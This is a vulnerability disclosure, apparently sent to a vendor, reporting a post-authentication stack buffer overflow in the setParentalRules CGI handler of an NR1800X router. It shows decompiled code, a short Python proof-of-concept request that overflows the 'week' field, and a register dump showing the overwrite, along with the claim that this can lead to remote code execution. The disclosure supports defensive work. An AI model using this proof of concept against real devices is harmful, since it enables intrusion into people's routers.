

# NR1800X - bof - setParentalRules

Hi, we found a post-authentication stack buffer overflow at NR1800X (Firmware version V9.1.0u.6279\_B20210910), and contact you at the first time.

```
46 | else
47 | {
48 |     v6 = websGetVar(a1, "mac", "");
49 |     v7 = (const char *)websGetVar(a1, "week", &word_4370EC);
50 |     v8 = (const char *)websGetVar(a1, "sTime", &word_4370EC);
51 |     v9 = (const char *)websGetVar(a1, "eTime", &word_4370EC);
52 |     v10 = websGetVar(a1, "state", &word_4370EC);
53 |     v11 = websGetVar(a1, "desc", &word_4370EC);
54 |     if ( v3 == 2 )
55 |     {
56 |         v12 = websGetVar(a1, "idx", &word_4370EC);
57 |         v13 = atoi(v12) - 1;
58 |     }
59 |     else
60 |     {
61 |         v13 = nvram_get_int("sch_parental_num");
62 |         nvram_set_int("sch_parental_num", v13 + 1);
63 |     }
64 |     snprintf(v16, 32, "sch_parental_mac_x%d", v13);
65 |     nvram_set(v16, v6);
66 |     snprintf(v16, 32, "sch_parental_desc_x%d", v13);
67 |     nvram_set(v16, v11);
68 |     snprintf(v16, 32, "sch_parental_state_x%d", v13);
69 |     v14 = atoi(v10);
70 |     nvram_set_int(v16, v14);
71 |     snprintf(v16, 32, "sch_parental_time_x%d", v13);
72 |     sprintf(v17, "%s,%s,%s", v7, v8, v9);
73 |     nvram_set(v16, v17);
74 | }
```

In function **setParentalRules** of the file **/cgi-bin/cstecgi.cgi**, the size of week, sTime, eTime is not checked, one can send a very long string to overflow the stack buffer via **sprintf**.

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =  
{"Cookie":"uid=1234"} data = {'topicurl' : "setParentalRules", "addEffect" :  
"0", "week" : "a"*0x100} response = requests.post(url, cookies=cookie,  
json=data) print(response.text) print(response)
```

The PC register can be hijacked, which means it can result in RCE.

```
V0 0x1
V1 0x1
A0 0x1
A1 0x1
A2 0x1
A3 0x0
T0 0x7751f998 ← 0x6c5f5f00
T1 0x7751a738 ← nop
T2 0x989
T3 0xffffffff
T4 0xf0000000
T5 0x1
T6 0x3a22656d ('me":')
T7 0x431668 (setResponse+396) ← move $v0, $zero
T8 0x39
T9 0x775b90b8 ← lui $gp, 2
S0 0x61616161 ('aaaa')
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
```